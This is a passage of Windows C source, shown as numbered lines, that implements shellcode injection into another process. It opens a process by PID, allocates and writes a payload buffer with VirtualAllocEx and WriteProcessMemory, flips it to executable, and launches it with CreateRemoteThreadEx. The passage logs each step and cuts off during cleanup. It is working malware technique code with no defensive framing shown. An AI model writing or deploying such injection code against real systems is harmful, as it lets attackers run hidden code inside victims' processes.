| 19 | } |
| 20 | |
| 21 | BOOL ShellcodeInjection( |
| 22 | _In_ CONST DWORD PID, |
| 23 | _In_ CONST PBYTE Payload, |
| 24 | _In_ CONST SIZE_T PayloadSize |
| 25 | ) { |
| 26 | |
| 27 | BOOL State = TRUE; |
| 28 | DWORD TID = 0; |
| 29 | DWORD OldProtection = 0; |
| 30 | HANDLE ProcessHandle = NULL; |
| 31 | HANDLE ThreadHandle = NULL; |
| 32 | PVOID Buffer = NULL; |
| 33 | |
| 34 | ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); |
| 35 | if (NULL == ProcessHandle) { |
| 36 | PRINT_ERROR("OpenProcess"); |
| 37 | return FALSE; /* no point in continuing if we can't even get a handle on the process */ |
| 38 | } |
| 39 | OKAY("[0x%p] got a handle on the process (%ld)!", ProcessHandle, PID); |
| 40 | |
| 41 | Buffer = VirtualAllocEx(ProcessHandle, NULL, PayloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); |
| 42 | if (NULL == Buffer) { |
| 43 | PRINT_ERROR("VirtualAllocEx"); |
| 44 | State = FALSE; goto CLEANUP; |
| 45 | } |
| 46 | OKAY("[0x%p] [RW-] allocated a buffer with PAGE_READWRITE [RW-] permissions!", Buffer); |
| 47 | |
| 48 | if (!WriteProcessMemory(ProcessHandle, Buffer, Payload, PayloadSize, 0)) { |
| 49 | PRINT_ERROR("WriteProcessMemory"); |
| 50 | State = FALSE; goto CLEANUP; |
| 51 | } |
| 52 | OKAY("[0x%p] [RW-] wrote %zu-bytes to the allocated buffer", Buffer, PayloadSize); |
| 53 | |
| 54 | if (!VirtualProtectEx(ProcessHandle, Buffer, PayloadSize, PAGE_EXECUTE_READ, &OldProtection)) { |
| 55 | PRINT_ERROR("VirtualProtect"); |
| 56 | State = FALSE; goto CLEANUP; |
| 57 | } |
| 58 | OKAY("[0x%p] [R-X] changed buffer's permissions to PAGE_EXECUTE_READ [R-X]", Buffer); |
| 59 | |
| 60 | ThreadHandle = CreateRemoteThreadEx(ProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)Buffer, NULL, 0, 0, &TID); |
| 61 | if (NULL == ThreadHandle) { |
| 62 | PRINT_ERROR("CreateRemoteThreadEx"); |
| 63 | State = FALSE; goto CLEANUP; |
| 64 | } |
| 65 | |
| 66 | OKAY("[0x%p] successfully created a thread (%ld)!", ThreadHandle, TID); |
| 67 | INFO("[0x%p] waiting for thread to finish execution...", ThreadHandle); |
| 68 | WaitForSingleObject(ThreadHandle, INFINITE); |
| 69 | INFO("[0x%p] thread finished execution, beginning cleanup...", ThreadHandle); |
| 70 | |
| 71 | CLEANUP: |
| 72 | |
| 73 | if (ThreadHandle) { |
| 74 | CloseHandle(ThreadHandle); |
| 75 | INFO("[0x%p] closed thread handle", ThreadHandle); |
| 76 | } |
| 77 | |
| 78 | if (ProcessHandle) { |